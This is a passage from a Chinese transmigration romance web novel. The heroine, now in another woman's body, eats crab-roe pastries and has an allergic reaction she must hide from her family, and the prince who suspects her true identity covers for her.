接下来,沈听晚便又站到了不远处,认真的看着沈夫人动作娴熟的把面团挫折圆圆的长条,就用手把他们揪下来,然后撒点面粉,一揉,变成了一个个大小均匀的圆球,然后有吧每个小面团用小擀面杖擀成不薄不厚的面片,舀出一勺满满当当的蟹黄放在里头,很快一个圆圆滚滚的蟹黄酥便做成了形。 照着这个动作,沈夫人又连续做了二十多个,然后将它们整整齐齐的放在三个大方盘子上,端着出了厨房。 厨房外头有一个看上去很小很圆的小房子,半人多高,沈听晚想这应该就是像现代烤盘类似的东西。 沈听晚记起来,原主的母亲沈夫人平日里就特别喜欢下厨,总是能研究出各种各样好吃的点心,这个圆圆的烤房,也是沈将军亲自去点心铺子找工匠学来的,然后给沈夫人砌了这么一个烤房。 有了这烤房之后,沈夫人研究各种美食的性质就更加高涨了,随意从小原主和兄长的嘴儿就没断过,将军府更是很少去外头的点心铺子买点心回来。 说实话,沈听晚还是第一次见到这么新奇的烤房,站在那便开始研究了起来。 不得不说古人是有极大智慧的,在这没有停电的年代,却能研制出用火烤制点心,而且味道也不比现代的点心差,这还有一股麦子的醇香。 “你在这研究什么呢?” 沈夫人把盘子放进烤房,转头便看到自己女儿站在那看个不停,不禁笑着开口问道。 沈听晚回过神来看过去,随即指了指:“这烤房看上去挺有意思的。” “你啊,要是学会了厨艺,回头让你父亲带着匠人去王府也给你盖一个。” “还是算了吧。” 沈听晚摇摇头,她虽然觉得这烤房倒是挺实用的,但对吃喝方面,沈听晚没有多大将就,而且一年之后她就要从王府离开了,盖了也是白盖。 沈听晚估摸着这一年的时间,她应该会很忙,可没多少时间在厨房。 今天也是她心血来潮,想着要和母亲多呆一会儿,才提出要沈夫人教她厨艺的。 见着沈听晚这一会功夫就对厨艺不感兴趣了,沈夫人也不恼:“好,那你以后如果想吃了就回来告诉母亲,母亲做了让人给你送到王府去。” “你们母女俩在这忙活什么呢?” 沈夫人的话音刚落,两人的身后便传来沈将军的声音。 母女俩下意识回头看过去,便见着沈煜一脸笑意的朝着两人走过来。 沈听晚看到父亲平安从皇宫里回来,心里的大石头也总算是落了地。 “父亲,你回来了。” 沈煜走到自己夫人身边,牵起沈夫人的手,把人拥在怀里,看向自己的女儿:“嗯,回来了。” 沈听晚看出沈煜脸上的高兴,也知道,这场风波总算是平安无险的渡过了。 “回来就好,你们父女俩快去洗洗手,我刚做了蟹黄酥,等下都尝尝。” “母亲,光做了小妹喜欢的蟹黄酥,怎么就独独忘了儿子呀。” 不远处,沈时修的声音传到几人的耳朵里。 沈夫人转头看到自己的儿子,忍不住笑骂道:“你啊,鼻子最灵,哪一回做好吃的你不在?” “母亲,难得今天小妹回来,你还要说我。”沈时修脸上有些委屈的道。 “好了,你们都快去洗洗手,准备吃蟹黄酥。” “好嘞!” 三人一同去净了手,做到房间里等着沈夫人进门来。 “小妹,昨天的事情我都听说了,实在对不住,来得及去替你撑腰。”沈时修看到自己的妹妹,心里满是愧疚之色。 更是后悔昨天他就不应该出府去。 原本昨日休沐,应该一直在家里的,不想大理寺突然有了案子,他作为大理寺少卿,自然是要在场的。 “没事大哥,你们兄妹之间有什么好道歉的?昨天我确实来不及出去应付宝郡主,不过父亲不是及时赶到了嘛。” 见着沈时修脸上的愧疚之色,沈听晚也是赶忙开口劝道。 “总之你没事儿就好,以后再有这样的事情发生,就派人去大理寺,除了大理寺和府上,我一般不会去别的地方。” “好。” 沈煜坐在一旁看着眼前这对兄妹俩的对话,也是不禁心里暖乎乎的。 他的夫人,给他生了这么一对儿好儿女,就是给他千金他也不换。 “好了,时修你刚当上大理寺少卿,忙一些也是正常的,晚晚那边如果有什么事儿,尽管来找父亲,不管什么时候,父亲都是你的依靠,我不能在外面受了委屈,一个人扛着不说啊。” “父亲放心吧,我会的。” 沈听晚心头一暖,赶紧应下。 这个时候,沈夫人也端着一盘子香气扑鼻,热腾腾的蟹黄酥走进房间:“来,蟹黄酥好喽,你们快尝尝。” 一盘子的蟹黄酥放在了三人面前,沈时修最先拿起来一块递给了沈听晚:“晚晚,来,这是你最喜欢吃的,快尝尝。” 看着沈时修递过来的蟹黄酥,沈听晚迟疑了一下,垂眼看过去。 吃一块,应该没事的吧…… 没错,沈听晚从小就吃不得蟹黄。 在现代她不知道,有一次有人给她送来了螃蟹,沈听晚便蒸来吃。 结果,刚吃完浑身便起满了疹子,呼吸困难,甚至都晕厥了过去。 后来沈听晚才知道,她是对与蟹类有关的一切食物都过敏。 从那以后,沈听晚便再不碰螃蟹。 只不过…… 沈听晚心里想着,她现在换了一个壳子,对蟹累过敏这件事儿,应该不会带到这里来吧…… “晚晚,在想什么呢,做出来的蟹黄酥最好吃,你要是不吃,大哥可先吃了啊。” 见着沈听晚出神久久没有结果蟹黄酥,沈时修眼里透着疑惑。 第113章 妹妹今天有些反常 他只觉得今天的妹妹,看上去有些奇怪。 往日里,哪一次母亲做了蟹黄酥,她不是第一个冲上前去,眼巴巴地守在厨房门口,非要抢到第一口才肯罢休啊。 可今儿是怎么了? 沈听晚回过神来,笑着接过沈时修手上的蟹黄酥:“谢谢大哥。” 深吸一口气,垂眼看着手上接过来的蟹黄酥,咬了咬牙。 罢了,就赌一把吧。 她轻轻咬下一口,外皮咔嚓一声碎裂,浓郁的蟹黄香气瞬间在口中绽放开来。 沈听晚的眼睛骤然亮了起来,眸中闪过一丝惊喜。 味道真的是好! 原来蟹黄酥竟然是这个味道的吗? “怎么样,好不好吃?” “嗯。”沈听晚点点头,又咬了一大口在嘴里咀嚼起来。 沈时修见状,脸上也乐开了花,看着沈听晚,又拿起一块递给沈听晚:“多吃点,怎么感觉你最近一段时间都瘦了,在王府里头没吃好吗?” “是不是王府里的那些人看人下菜碟,不给你做好吃的啊,如果他们苛待你,尽管告诉大哥,大哥去给你撑腰。” 沈时修心疼地打量着妹妹,从前在家里的时候,妹妹虽不说白白胖胖,但那张圆润的小脸配上左右两个浅浅的梨涡,可爱得让人都忍不住想捏一捏。 可现在成亲还不到一个月的时间,他妹妹小脸的婴儿肥怎么不见了? “大哥,”沈听晚无奈地笑了笑:“你觉得谁能给我委屈受?我在王府过得很好。再说了,我也到了该瘦下来的年纪,若还如从前一般,那才不正常呢。” 原主的确被沈家养的很好,圆圆的脸蛋看上去就很富态,左右各有两个小梨涡,不得不说,原主这副皮囊长得真的很好。 比沈听晚在现代那副干瘦,浑身小麦色皮肤看上去要好看很多。 只不过…… 沈听晚也习惯了不加装饰打扮,来到这里,她到现在连发髻都没学会几个,在王府里也是怎么方便怎么来,也不会格外注重保养,吃的东西也喜欢偏清淡些的食物,所以看上去自然也清瘦了些。 不过即便这样,沈听晚也对自己的身材容貌很满意,不说倾国倾城吧,但也是一个美人胚子。 不过,沈听晚也知道,兄长是在担心她在王府里过得不好,心中也是一暖。 一家人其乐融融地继续吃着蟹黄酥,沈听晚不知不觉已连吃了五六块。沈夫人见她吃得香,更是不停地往她盘中添着,那样子像是生怕她在王府亏了嘴似的。 见着沈听晚手上的蟹黄酥马上要吃完了,下一块便又及时的送过去,对此,沈听晚也是有些无奈。 爹娘和大哥,这是把她当成是小吃货来养了吗? 在好吃的东西,也架不住这么吃吧。 最后还是沈听晚的肚子吃的圆溜溜,实在是吃不下了,才摆手拒绝了沈时修递过来的最后一块蟹黄酥:“大哥,我实在是吃不动了,你们也吃。” 关键是沈听晚已经感觉到身体有些不大对劲了。 只见她话音未落,沈听晚就忽觉后颈一阵刺痒,伸手一挠,却愈发难耐。 沈听晚心头猛地一紧。 坏了! 她对蟹黄的过敏反应竟也随着魂魄一同穿越到这里来了。 “啊呀,晚晚,你的脸!”沈夫人坐在自己夫君的身边,无意间朝着沈听晚的脸上看过去,瞬间被吓了一大跳。 只见此时,沈听晚的脸上,开始不断的起红红的小疹子,看上去触目惊心。 沈听晚脸色一紧,赶忙抬手朝着脸颊上摸去。 遭了! 她这是严重了。 刚才她一连作死的吃了几十块蟹黄酥,吃下第一块之后,沈听晚见自己身上没有反应,以为没事了,结果现在…… 完了! 沈将军也一脸关切地看向沈听晚,仔细的看了几眼,有些疑惑的开口:“看上去好像吃错了东西,起的风疹啊。” 沈夫人蹙眉,脸色也是难看起来,满眼纳闷的道:“不能啊,晚晚回来到现在,也没吃别的东西,就吃了这几块蟹黄酥。” “算了,还是快去请大夫来看看,晚晚这究竟是怎么了。”沈煜满路严肃的说道。 “好,儿子这就去!”沈时修也反应过来,他站起身来便准备向门外大步走。 “大哥,你等一会!”沈听晚见状,顾不得身体上传来的痒意,急忙抓住沈时修的手腕。 “晚晚,都什么时候了,快松开我,我现在去找大夫给你看看。”沈时修一脸焦急的开口,满眼尽是担忧之色。 “大哥,我自己就是大夫,你们忘了?”沈听晚抬头看着大家,强撑着一抹笑意。 “我没事,就是吃错了东西,估计在王府的时候我没注意,现在才起了风疹。” 绝不能让沈家人知道她对蟹黄酥过敏的事情。 原主从小到大吃蟹黄酥都没事,而且最喜欢吃的点心就是蟹黄酥,如果这个时候突然间过敏了,那岂不是不打自招承认她不是原来的沈听晚了吗。 “我真的没事,等回去之后我自己配一些药吃下去,疹子就会消下去的。” “真的是在王府里吃错了东西?”沈时修皱着眉头地道。 “嗯,不然大哥以为是什么啊?”沈听晚面上强撑着镇定,但心里却早就已经慌得不行。 直觉告诉她,她现在必须得离开沈家了。 现在是起疹子,可再过一会儿,她肯定就要呼吸困难了。 沈听晚起身:“父亲母亲,大哥,然后不早了,我先回王府。” 沈夫人:“还是找大夫过来看看安心,这样回王府,母亲怎么能放心的下呀?” “是啊,你母亲说的对,时修,快些去找大夫,不要再耽误时间了。” “好!”沈时修用力点了点头,随即握住沈听晚的手,严肃的道:“听父亲母亲的话,大哥马上带大夫回来,不急,这一会回王府的。” 沈听晚的手被沈时修拿开,她眉头紧蹙:“哎,大哥!” 她想叫住沈时修,只可惜,人却早已经跑远了。 沈听晚心里那叫一个着急又无奈,她对蟹黄过敏怎么就带到了这里来了啊。 第114章 吃不得蟹黄 沈听晚学了这么多年的医术,只知道人体对某种东西过敏,是因为本身的免疫能力太强,可她都换了一副壳子了,而且这副身体,可从来都没有对蟹类过敏的症状发生啊。 真是见了鬼了! 沈听晚心里郁闷极了,眉头也紧紧皱起,更是暗暗担忧,沈家人究竟会不会看出来什么? 她在心里想着对策,如今真正的沈听晚已经死了,她是魂穿而来的,身体没有发生任何的变化,性情方面她也极力去模仿原主,应该没什么大碍。 就算被诊出来她真的对蟹类过敏,应该也是可以解释的…… 沈听晚的脑袋里越来越乱,身上的疹子也越发的痛痒起来,更糟糕的是,她已经能感觉到自己的呼吸有些困难了。 她深吸一口气试图冷静下来,却忍不住抬手去挠那令人抓狂的痒处。 就在指尖即将触碰到皮肤的瞬间,一只温热的手掌稳稳地抓住了她的手腕。 “不能再挠了,会抓破皮的。”沈夫人眉头紧锁,神情严肃,语气中带着不容置疑的严厉,眼中却满是担忧。 沈听晚抬头看向沈夫人的眼睛,尽可能的让自己看起来不那么心虚。 就在此时,门外传来急促的脚步声,伴随着沈时修略带喘息的声音响起:“大夫来了!快让大夫给小妹看看!” 这一路,他都不敢有片刻的耽误,生怕小妹会有什么闪失。 “大夫,快给小女看看,她这究竟是怎么了?”沈煜将军一脸焦灼,眼底深处尽是心疼,平日里威风凛凛的将军此刻也显得有些手足无措。 “沈将军先别着急,草民这就给王妃诊脉。” 大夫先向沈将军夫妇行了礼,转头又看向沈听晚:“王妃,还请您把手伸出来,让草民诊一下脉。” 沈听晚转眼看着眼前年近半百的白胡子大夫,想要说些什么,但余光扫见众人担忧的眼神,抿了抿嘴,无奈最后还是硬着头皮把手放在了桌子上。 大夫给沈听晚诊了脉过后,脸色也逐渐变得严肃起来:“王妃最后所食用的饮食是什么?” 沈听晚一张红唇抿成一条直线,沉默不语。 沈夫人想了一下连忙说道:“是这蟹黄酥,晚晚从回来到现在,只用了蟹黄酥。” “那就对了。”大夫点点头,又看向沈听晚:“王妃,您是吃不得蟹黄的,食用过后会浑身起风疹,而且呼吸困难,这些的话恐有性命之忧啊。” “什么!?”沈家三人异口同声,满眼的震惊和不敢置信。 “晚晚从小最喜欢吃蟹黄酥,怎么可能吃不得啊?大夫,你再好好看看。” 大夫也是一脸的疑惑:“那就奇怪了啊,草民为王妃诊出的脉象,却是误食的某种食物,这身体里产生极大的反应,才会如此的啊。” 沈时修突然间想起沈听晚的话,又忙问道:“那会不会是一早吃下来不该吃的东西,才会变成这样的?” 大夫摇了摇头:“绝无可能。看王妃的脉象,应是刚食用不久起的反应,前后不过一个时辰。也就是说,这一个时辰之内所吃的东西才是引发症状的根源。” 沈夫人脸色唰的一下白了,垂下头去摇了摇头:“那就只吃了蟹黄酥 。” 可是为什么? 晚晚可是从小吃她的蟹黄酥长大的啊。 她今天做的点心,也和从前做的一般无二,根本没有添加任何别的东西。 沈煜深吸一口气:“别管这么多了,大夫,不知小女可需要用什么药可以缓解现在的症状?” “对,晚晚现在应该吃什么药才能好?”沈夫人也反应过来,焦急的问道。 “将军,夫人请放心,”大夫安抚道,“王妃所食的蟹黄酥量不多,且医治及时,只需服用一些清热解毒、消疹止痒的汤药,连服三日,近期吃一些清淡的吃食,便可痊愈。” 听闻此言,一家人紧绷的心弦才终于稍稍放松下来。 还好好没什么大碍。 坐在椅子上一直没说话的沈听晚,悄悄抬眼看着沈家人脸色的变化,第一次心里有些慌了神。 沈家父母和兄长该不会真的发现什么了吧…… 然而,一家人什么话也没说,此时却都在为沈听晚的身体担忧着。 大夫开了药方,沈时修就急忙拿着药方出去给沈听晚抓药。 沈夫人也走到沈听晚的身边,满脸关切的担心自己女儿的情况:“晚晚,告诉母亲,你还有哪里不舒服的?” “今天时候也不早了,晚晚身体不舒服,就在家里住下吧,等会我亲自去王府和王爷说。”沈煜也看着沈听晚忙道。 沈听晚愣住一瞬,目光看向爹娘,眼神有那么一瞬的失神。 他们没有怀疑她? 不仅没有,反而甚至还这么关心她…… “父亲母亲,”我没事儿了,王爷,还等着我回去。” 沈夫人却不认同地道:“你自己身体都这样了,哪里还能受得了颠簸,王艳那儿你不用担心,让你父亲去说,王爷会体谅的。” “对,父亲去说,你什么都不用想,只管在家里好好养养身子。” 沈煜心疼的道,看看他的好女儿,嫁出去不到一个月都瘦了,可见在王府也是操劳的很。 为人父母的,哪会心疼自己女儿的道理呢。 沈听晚一听这话,连忙摆手,语速有些局促道:“我真的没事,父亲母亲,吃几副药就能好的,王爷的状况现在离不开人,我既然答应了给他医治,又不能半途而废啊。” 沈听晚现在是真心发现,君翊的这个幌子是真心好用,不管什么事,在外面她都能推给他。 沈夫人看着自己的女儿,微蹙着眉看着她:“晚晚,你真的没事?” “放心吧母亲,我自己就会医术,你看我现在,不是好好的嘛,就是身上起的疹子有些唬人而已。” 怕沈夫人放心不下,沈听晚还主动摊了摊手,起身转了一圈,让父亲母亲安心。 “哎,罢了,晚晚一心想回王府去也是好的,毕竟嫁到王府不足一个月,也不好住在娘家。” 沈煜见着女儿坚持要走,也只好作罢,叹了口气无奈道。 第115章 不知道要如何面对沈家人 “那你亲自送女儿回去一趟,别在路上出什么意外了。”沈夫人依旧不放心:“还有,等时修把药抓回来晚晚在走吧,把药带回去,让王府的人把药煎了。” 沈听晚是实在拗不过沈夫人,只好又老老实实的坐回到椅子上,有些如坐针毡。 其实,她坚持着不肯留在将军府,也是担心,怕她和沈家人长时间相处下去,父亲母亲和兄长会真的看出来点什么。 还有就是……现在的沈听晚,有些不知道如何面对沈家人。 她不知道父母和兄长究竟有没有对她起疑心,更不忍心待在他们身边,一直骗他们。 她现在感觉自己就像是一个小偷,偷走了原本属于原主的亲情,沈听晚实在无法心安理得的去享受这份本不属于她的温暖。 接下来的一段时间里,直到沈时修抓好了药回来,沈听晚都没有再说一句话,她垂着眸,面无表情,就那样沉默着。 沈煜和沈夫人也直觉得是自己女儿身上痒太难受了,坐在沈听晚的身边,沈夫人更是拉住沈听晚的手,眼睛都要红了。 沈时修把药拿了回来,沈听晚也不敢再多呆,起身拿着药便准备要告辞。 她是再也看不得父亲母亲向她投递过来那满是心疼与担忧的眼神了。 出了将军府,沈煜也提前早早备好了马,一路将沈听晚互送回了王府。 待回家之后,走进房间看着自己的夫人还坐在椅子上,满脸的自责。 沈煜大步上前:“晚晚不会有事的,夫人,你别担心。” 沈夫人红着眼眶抬眼看向自己的丈夫,再也忍受不住泪水涌出:“晚晚怎么就这么命苦啊,自己身体还难受着,还要赶回去伺候王爷……” 她可是她们捧在手心里的宝贝啊。 可是现在,他们的宝贝在大婚之日就受了换夫这样的委屈,嫁的人还不是良人,王府处处危机四伏,王爷也重病在床,这让她们的女儿可怎么受得了。 “哎,夫人,这是晚晚自己的选择,我们做父母的,应该尊重她,而且晚晚聪明着呢,不会有危险,就算是有危险也不怕,你忘了,晚晚的背后,可是有咱们整座将军府为靠山呢。” 不是他们做父母的觉得什么对就是对的,她们的女儿也是一和活生生的人,也有自己选择的权利,就算是他们这些做父母的也不能左右自己儿女的人生。 “对。”沈夫人连连点头,一把抓住沈煜的手:“我们是晚晚最后的依靠,所以将军你千万不能有事儿,就算是为了晚晚,为了时修,我们也要好好守护住这个家。” 沈煜的神情微愣了愣,最终还是抬起另外一只手放在了沈夫人的后背轻轻安抚:“放心夫人。” 沈煜安抚了沈夫人好一阵子,沈夫人才从伤感中走出来,我突然间像是想起了什么似的,心中有些疑惑。 她凝着神:“说来也奇怪,晚晚从前最喜欢蟹黄酥,怎么好端端的突然之间就吃不得蟹黄了呢?” 这也是她在房间里一直想不通的事情,按照道理将,女儿如果吃不了蟹黄,他们应该一早就会发现的。 “别想那么多了,或许是从前晚晚吃的比较少所以没显现出来,这都一个多月没吃夫人的蟹黄酥,晚晚也难免贪嘴多吃了些。”沈煜心里也纳闷的很,不过为了叫自己的夫人不那么愧疚,只能按下心里的怀疑,安慰道。 “哎,那我以后还是少做些有关蟹类的吃食,免得晚晚在有什么。” 沈夫人叹了口气,心里更是下了一个决定,从今往后她再不做蟹黄酥了,她女儿在回家,饭桌上也绝不能摆和螃蟹有关的一切吃食。 她到现在都后怕的很,更是愧疚,刚才就不应该只想着女儿挺长时间没吃她做的点心,所以就一块一块接着一块的递给女儿。 夫妻俩在房间里说着话,不知道的事,这些话却一字不落的落入了刚刚从外头回来的沈时修耳中。 今天一家人都在担心妹妹的身体,他也是担心的。 可担心之余,有感觉自己的妹妹身上似乎透着古怪。 虽然妹妹还是那个妹妹,性情也和从前一般无二,但作为沈听晚的兄长,他可是从小看着妹妹长大的,总是能感觉到,妹妹身上的气质,好像产生了就连他也说不出的古怪。 沈时修靠在门框上,抬头望着天,眉眼微凝。 是他的错觉吗? 还是他太过疑心了。 为什么在他心里不知道什么时候竟生出现在站在他面前的妹妹,和从前的沈听晚,并非一个人的想法呢。 沈时修心里浮现这个念头,就连自己都被吓了一大跳。 他怎么会有这么可怕的想法? 他的妹妹就好端端的站在他的面前,他怎么会觉得,妹妹换了人呢? 而且,就算换了人,这天底下怎么会有长相性格都一模一样的人存在 。 沈时修想,大概是沈听晚突然间吃不得蟹黄酥的事情,叫他太过震惊的缘故了。 或许是妹妹从前就吃不得蟹黄酥,只是年纪小没什么太大反应,现在突然间爆发了而已。 对,就是这样。 沈家将军夫妇和沈时修其实心里头都有疑惑,但却都深深的藏在心里,并未说出口。 因为,他们都不相信,他们的女儿会被调包这种离奇而又荒谬的事。 王府这边。 沈听晚进了王府之后,便一下子仿佛被人抽走了精气神似的,颓的不行。 她靠在王府大门上,一副垂头丧气。 沈听晚也知道,今天这突然之间发生的变故,就算想不叫人起疑心也是无法的。 谁能想到啊。 她对蟹黄过敏的事情,竟然跟她来到了这里,更要命的是,偏偏原主从前却是最爱蟹黄的。 一场蟹黄风波,暂时告一段落,但沈听晚却不敢想,她的父亲母亲和兄长怀疑心她不是真正的沈听晚究竟怀疑到什么地步了。 “王妃娘娘您回来啦,今晚还用给王爷医治吗?” 身边突然间传来暗祁的声音响起,沈听晚回神,下一瞬便有听到暗祁一阵惊呼:“啊,王妃您的脸……这是怎么了?” 第116章 你没那个资格操心我的事 就在暗祁不经意间抬眼看向沈听晚的功夫,他赫然发现沈听晚的脸颊两侧与额头上,竟布满了密密麻麻、红肿刺目的疹子,如同被无数细小的蜂针叮咬过似的。 “这是怎么回事,王妃白天还好好的啊……”暗祁眼底透着震惊之色,不敢置信的问道。 怎么就回了一趟将军府的功夫,王妃就把自己折腾成这副模样了? 暗祁心里透着疑惑,更是担心他们王妃娘娘的身体究竟有没有什么大碍。 “我没事,只需服用几剂汤药就好了。”沈听晚强撑着精神,轻轻晃了晃手中从将军府带回的药包,声音有些虚弱却仍不忘关切地问道,“王爷那边情况如何?” 暗祁连忙恭敬地说:“王爷一切安好,请王妃放心,属下与暗蒙一直在外守着。”他顿了顿,眼中闪过一丝忧虑:“倒是王妃娘娘,可要属下请位大夫来给您看看?” 沈听晚摇了摇头,声音中带着疲惫:“不用,在将军府已经看过大夫了,还有你转告王爷一声,今晚我不用给他医治,我有些累了,先回房间休息一下。” “叫人把这个药煎了送到我房间。” 把手上的药递给暗祁之后,沈听晚才垂头耷脑的往自己的房间走去。 其实,沈听晚自己就是学医的,早在回来的路上就给自己施了诊,缓解了身体的不适。 只不过身上的疹子,还得需要一段时间才能消退。 沈听晚在将军府回来,实在是有些累了,也不想顶着这一张满是红疙瘩的脸去见君翊。 暗祁看着沈听晚走远的方向,又看了看手上的药,二话不说飞奔似的朝着王爷的院子奔去。 君翊在知道沈听晚身上起疹子的事,是在沈听晚回房间不到一炷香的功夫。 王妃一早还好好的,这到了晚上从将军府回来,就满脸全是疹子,这事儿自然不能瞒着自家王爷。 君翊皱起了眉头,眼底闪过一丝担忧:“去请张太医到王府给王妃看看。” “王爷,属下和王妃说了,但是王妃说在将军府已经看了大夫,说自己累了,就回房间歇下了。” “王妃说不用就真的不用了吗!”君翊的眉头拧成一个川字,声音中带着不容置疑的威严:“还不快去!” 暗祁立马应下,便准备要出门,却在这时候君翊又叫住了他。 “去查一下,王妃在将军府都遇到什么事了,还有身上的疹子,是怎么来的。” 君翊又想了一下开口:“算了,你叫王妃过来一趟,本王亲自问她。” 入夜。 沈听晚刚往脸上抹了她自制的药膏,正准备要躺床上睡觉,却在这功夫,暗祁便到了门口。 “王妃,王爷请您过去一趟。” 刚掀开被子一角,准备要躺下的沈听晚手上的动作一顿:“王爷有什么事儿?” “王妃,王爷的事儿属下也不清楚啊,还请王妃您过去一趟,亲自问一问王爷才是。” 沈听晚叹了口气,心中涌起一阵无奈。 她现在就就是想好好睡一觉,怎么就不能让她如愿呢。 视线移目看向梳妆台铜镜里的自己,脸不禁动了动。 她这副样子,怎么见君翊啊? 但沈听晚也知道,她没有拒绝的办法。 哪怕她坚持着不去,门外那些侍卫也会来一遍一遍的请。 君翊就是这样,不达目的誓不罢休的。 他想见她,总会有理由叫她无法拒绝。 “等会我过去!”沈听晚心里郁闷的很,没好气的开口说道。 换上了衣服,沈听晚又找来了一块面纱围在自己起疹子的脸颊上,只不过额头上的疹子却怎么也遮掩不住。 沈听晚想了一下,然后把额头前的头发放下,随后拿了一把剪刀,下手干净利落的给自己剪了一层薄薄的齐刘海出来。 嗯,这不就都遮住了吗。 沈听晚看着铜镜里的自己,左看看,右看看,欣赏着自己的杰作,这才心满意足的勾了勾唇。 于是乎,当沈听晚推开君翊房门的那一刻,君翊的目光瞬间被她这身装扮所吸引。 脸上被素色面纱层层包裹,额前还留着一层齐整的刘海,这般别致的装束,他从未在其他女子身上见过的。 君翊看着视线不禁愣了一下,疑惑的道:“这是什么打扮?” 沈听晚垂头看了一眼自己,随即若无其事地说:“这是京城里最流行的打扮啊,哦,王爷久不出府,应该没见过。”还顺势把身上的衣服往上拽了拽,把自己裹得更严实了些。 看着眼前的小姑娘脸不红心不跳的说辞,不禁无奈:“到本王身边来。” 说完,君翊还不忘目光直直的看向沈听晚。 这是不想让他看到她脸上的疹子? 面对君翊那满是不容人拒绝的语气,沈听晚无法,只能朝床边走了两步,站在了离君翊不远也不近的地方。 沈听晚走进了些,君翊在看清了沈听晚脸上,细微没有被遮住的小疹子,也顿时心里暗祁的回禀,眉头紧紧地皱了皱。 “怎么回事儿,回趟将军府,怎么就把自己弄成这样了?” 沈听晚闷闷的叹了口气:“没什么大事,就是吃错了东西。” “吃错东西?沈听晚你多大了,难道不知道什么该吃什么不该吃?” “君翊,你这是在责备我吗?我自己的身体,你有什么资格操心啊?”沈听晚本就心中不爽快,此刻听到君翊的话,心中的不满更如火山喷发般倾泻而出。 反正君翊就不像是沈家人,她也不怕得罪了这家伙,总归是一年之后就老子不相往来的人,她自然不担心。 “你现在是本王的王妃,你说本王有没有资格?” 沈听晚冷着眼瞪向君翊:“那你也别忘了,和离书就在我身上,一年之后咱俩就桥归桥,路归路,各不相干了!” “那也是一年之后的事。”君翊定定地凝视着沈听晚的双眸,语气沉稳而坚定:“这一年里,本王仍会将你视为我的妻子。 我的妻子,无论受伤还是生病,本王都有心疼的权利。” 第117章 君翊为什么要帮她 沈听晚怔怔地望着君翊,一时语塞,站在原地心中思绪万千。 君翊也不是真的生沈听晚的气,他知道沈听晚今天一定是在将军府遇到了什么,心里不舒服,才会在他面前肆无忌惮地发泄的。 他叹了口气,在看向沈听晚说:“别忘了你答应过本王什么,你说过这一年之内,你会做一个合格的翊王妃,你会把自己当做本王的妻子,把本王视做你的丈夫。” “在自己的丈夫面前,是有什么不能说的吗?” 沈听晚张了张嘴,想要说什么来反驳君翊,可想了半天,也想不出君翊那句话说的不对。 她走到椅子边坐下,叹了口气,心里的火气也被君翊浇了大半:“抱歉,是我方才态度不不好,我向你道歉。” “所以现在,能告诉本王,到底发生什么了吗?你现在为什么会变成这样?” 沈听晚动了动嘴角:“就是吃了不该吃的东西,我吃不了蟹黄,在将军府误吃了些,没什么大事,而且已经涂过药了,过些天就能好。” “吃不得蟹黄?”君翊一顿:“那你吃了会怎么样?” “那你看到的这个样子呗,浑身起疹 子,呼吸困难,严重些就会导致晕厥。” 君翊眉头紧蹙:“你吃不得螃蟹,沈家人不知道吗?” 沈听晚扯了扯嘴角,垂下头去:“我,从前吃得了蟹类。” 一句话,让君翊恍然大悟 他已经猜到了沈听晚并非从前的那个沈听晚,也不是沈家的女儿。 确切的说,她这副身体是沈听晚,但芯子却已经不是了。 这个时候,暗祁也带着太医院张太医走进了门来。 “王爷,王妃,张太医来了。” “嗯,请张太医给王妃看看吧。” 君翊什么话也没再多说,沈听晚也坐在椅子上没再开口。 房间内气氛变得安静的有些诡异。 张太医从药箱子林拿出诊脉的东西,开始给沈听晚诊脉。 结果和在将军府的大夫所言并无二致 是沈听晚吃坏了东西,导致身上起了风疹。 对于这样的结果,沈听晚是并不意外的。 只是心里却在想,等一下要说什么样的话才能让君翊对她不起疑心。 要知道,君翊可不像沈家人,他的疑心本就重的很,平日里对她也是处处充满试探。 然而,还没等沈听晚想出说辞来,便见床上的君翊又自顾自开口:“张太医,王妃从前可以吃的吃食,会不会因为环境和年纪发生的变化而改变?” 此话一出,房间里的几人都愣住一瞬。 张太医最先反应过来,恭敬地开口:“回王爷,人的体质本就不同,所以像王爷所说的也并无可能,或许王妃的体质发生了某种变化,也有可能会对从前的吃食发生反应。” 张太医顺着君翊的话继续说了下去:“不过王爷,王妃不必担心,王妃已经及时喝了药,病情有所控制,身上的疹子过几日便会消退下去,并无大碍。” “嗯,那就有劳张太医了。” “这是微臣分内职责,王爷不必客气。” 张太医被请了出去,房间里便又剩下君翊和沈听晚两人。 房间内又是一阵安静的氛围。 这让沈听晚有些受不了,抬眼看向君翊:“你想怀疑……” “大概正如张太医所言,王妃的体质发生了改变,从前吃的吃食今后也要格外注意些,往后吩咐厨房,不要在做蟹类的吃食。” 沈听晚原本是想要问君翊是不是已经开始怀疑她了,可话还没说完,便听到君翊的开口,又是愣在了原地。 君翊看了沈听晚一眼,又继续的道:“想必沈将军和夫人都担心你的身体,明日让暗祁去一趟将军府,把张太医的话说给他给将军和夫人听吧。” 君翊是在帮她? 沈听晚目光定定的盯着君翊一瞬不瞬,她能看得出来,君翊刚才说的话,实在牵强的很,而且方才她能看得出来,张太医就是在顺着君翊说话。 所以君翊为什么要帮她? 要知道张太医的医术还是值得让人信服的,所以他说的话,自然不会在让人生出疑心。 君翊知道沈听晚在看她,也似乎知道沈听晚心里的疑惑,却没说破,而是看向沈听晚,淡笑着说:“面纱围在脸上,不会觉得闷吗?” 沈听晚回神:“还行……” “摘下来吧,这里是在家里,不用那么小心翼翼。” 家里? 这是谁的家? 沈听晚自认为,这里可不是她的家。 “不用。” 毕竟她现在的这张脸看上去还……还挺丑的。 她不想让君翊看到自己现在这副样子。 “你是怕本王看到你脸上的疹子,会嫌弃你?”然而,君翊却像是有读心术似的,再一次看穿了沈听晚的想法,声音低沉的开口。 沈听晚心脏某一处突然间一漏:“怎么会,我怎么可能会这么想?” 话虽然这样说着,但沈听晚却是心虚的别过头去。 就连他自己也不知道为什么,她就是不想要在君翊面前露出自己这么狼狈的一面。 君翊:“既然不是,那就把面纱摘下来让本王看看。”君翊的语气带着一丝笑意:“毕竟本王最狼狈的一面你都看到了,你都没有嫌弃本王。” 他自然也不会嫌弃沈听晚。 君翊这样说,不是想着要看小姑娘的笑话,她只是想要看一看,小姑娘脸上的疹子到底严不严重。 毕竟在君翊的心里,沈听晚很美,那种无法用语言来形容的美。 沈听晚坐在椅子上却是久久没有动弹一下,不得不说,君翊的话的确叫沈听晚心里挺感动的。 但是感动归感动,理智却告诉沈听晚,君翊并不是表面上看上去那么平静。 又或者说,君翊这家伙早就已经对她的身份产生怀疑了。 想到这些,沈听晚的心里便生出一抹危机与恐慌。 她并没有摘下脸上的面纱,而是试探的开口:“你相信这个世上,会有两个相貌一模一样,但是性情与生活习惯却截然不同的两个人存在吗?” 第118章 